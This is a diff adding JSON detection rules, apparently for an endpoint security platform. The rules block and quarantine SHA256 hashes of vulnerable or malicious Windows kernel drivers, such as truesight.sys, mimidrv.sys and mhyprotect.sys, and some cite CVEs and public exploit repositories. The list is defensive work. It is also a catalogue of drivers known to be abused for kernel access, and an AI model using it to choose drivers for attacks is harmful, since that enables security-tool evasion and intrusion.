+  "id": "d6ce8f92-23cc-58f5-92e7-841970f524c2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492730Z",
+  "creation_date": "2026-03-23T11:45:31.492733Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492742Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7ae7329aa54c405421b8ee778dd6e20f8058bd137eae79b2acd20d89fca273d1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d6d3e514-c6a8-5eed-9c09-6cdb5c956e24",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156938Z",
+  "creation_date": "2026-03-23T11:45:31.156940Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156952Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e507b8b6b9fd0275e858d721ba6dd3ce7864a9f4822e97c0cc5338facece8305",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d6db1ed1-9f82-52da-961c-d220a7cedc40",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499667Z",
+  "creation_date": "2026-03-23T11:45:31.499670Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499679Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "71760362ea4f35cd3fc3b4a3a002f4f5e04f83b20efa81c4b865543ed00240ad",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d6db3855-2fa1-53ed-b829-cacde9330ec3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622892Z",
+  "creation_date": "2026-03-23T11:45:29.622893Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622899Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "38fa9b5b66a11fd7387012c5c4bbd414eca8361273d57dba1e49aa6af23337f3",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d6dc7499-f4d1-565f-93b0-d8496a6e3331",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818719Z",
+  "creation_date": "2026-03-23T11:45:30.818721Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818726Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c80a2d3a0ef4ce0a3aec62e9d15b50679dec4cccb69a5c0b72529641ebfa5f4",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d6de2e19-8305-5310-b303-bc676760fc01",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472230Z",
+  "creation_date": "2026-03-23T11:45:31.472234Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472242Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "85a626153de212444496be7c28c61a0a49b672d88de0f3de4794558ec3613d5d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d6e429ba-60b2-5eec-9cfd-b3c4f6b95a0a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816862Z",
+  "creation_date": "2026-03-23T11:45:31.816865Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816890Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0baee4e0bf0c33bab6bba5fb6a644f67a53e58fe66fb98d17a229e39d8a01931",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d6e6e0db-492a-5a99-8903-c31c61f6c3ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468824Z",
+  "creation_date": "2026-03-23T11:45:30.468827Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468834Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "35d552d7603a26ea7ed111bd865cddaf7aa342481c89af7b2697beb25b99e829",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d6ea952e-ec86-5186-988c-0c30d24a8a23",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830580Z",
+  "creation_date": "2026-03-23T11:45:30.830582Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830588Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a9181974503438d60ceac451fe075011f5167ea835a77b650a654b4e34f16497",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d701418c-9f92-5c43-9a27-15015c453755",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459244Z",
+  "creation_date": "2026-03-23T11:45:30.459247Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459256Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8017e618b5a7aa608cc4bce16e4defd6b4e99138c4ba1bdd6ad78e39f035cf59",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d70f5fa2-c778-54dc-8814-d6becc0157ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808761Z",
+  "creation_date": "2026-03-23T11:45:31.808763Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808769Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d2e8a4753abb0176692e89baf9607cc58b6d498a3fb2d4da095ab4a41a793702",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d715e8e2-2a88-52a0-a50a-06f9cb894618",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813034Z",
+  "creation_date": "2026-03-23T11:45:31.813037Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813045Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "839790b1272d3e7f8315b01b3dd41501cf6b12cab5688dc65c0dea98b5a116d0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d7220389-1b3a-507d-8ed7-06bc5c3f4ac4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144782Z",
+  "creation_date": "2026-03-23T11:45:32.144784Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144790Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5aded75d6beb315849f698a78f8033de26eb151955a1cbc01e3037320e2a0eb6",
+  "comment": "Malicious Kernel Driver (aka windivert.sys) [https://www.loldrivers.io/drivers/45a31a17-f78d-48ec-beba-74f6bfc5f96e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d7455733-b796-59b0-9c5d-398e34a5a3a5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821619Z",
+  "creation_date": "2026-03-23T11:45:31.821621Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821627Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0bcf09a59e2deb358e822f635df4a866721ea739a68e1225ea0aa029abfd6bdf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d747e1e9-d3b4-5c37-946b-5b55047e41a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611728Z",
+  "creation_date": "2026-03-23T11:45:29.611730Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611735Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "991228f3ea6c1ae8083aa405d1d066e48cd6dbd7d6bc01c81599b2c28f3923f1",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d7482fcb-4d34-51d3-a979-a42fdbaeaaa0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980464Z",
+  "creation_date": "2026-03-23T11:45:29.980466Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980472Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "982ad43111d8b7a7900df652c8873eeb6aa485bb429dee6c2ad44acf598bb5e6",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d75ed853-499a-53bc-adb6-6a12ba145202",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476852Z",
+  "creation_date": "2026-03-23T11:45:31.476856Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476866Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a32f9b83a80e09b28163c70af0d0ffff7acc7f7b63ddc3286c589bc741e41cf6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d766b573-7b05-5f68-a092-5ebf08e3ac88",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486396Z",
+  "creation_date": "2026-03-23T11:45:31.486399Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486406Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8210184d342da90354402e53fa09d6ba0173c3305c41072fd6a2ce79b0524a53",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d76b90ba-6963-5e2c-b282-8885f3b25b6f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461724Z",
+  "creation_date": "2026-03-23T11:45:30.461728Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461736Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "edeb35e4341034b2de389017c4884b081a821f34349a620897a2a845c84cb09e",
+  "comment": "Vulnerable Kernel Driver (aka mhyprotect.sys) [https://www.loldrivers.io/drivers/7abc873d-9c28-44c2-8f60-701a8e26af29/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d7766e4a-08d0-5e7c-8a14-30db3a3dadc8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818754Z",
+  "creation_date": "2026-03-23T11:45:30.818756Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818762Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8f69fa6128acbaa8217454ff22eb7fb9be1e841ed47116e7616749600b4bfc4d",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d780e75f-cab3-5af0-81c7-18889b59dee3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815253Z",
+  "creation_date": "2026-03-23T11:45:31.815255Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815261Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fad7be43548a35c9916a1765b6388710989f2d283cc60f8783a77651a97149cf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d784f743-22d8-5d02-ad40-28cd9e5d36dc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975166Z",
+  "creation_date": "2026-03-23T11:45:29.975168Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975174Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f6cd7353cb6e86e98d387473ed6340f9b44241867508e209e944f548b9db1d5f",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "d79a7bdc-344c-5733-9af1-bb58feaf0277",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
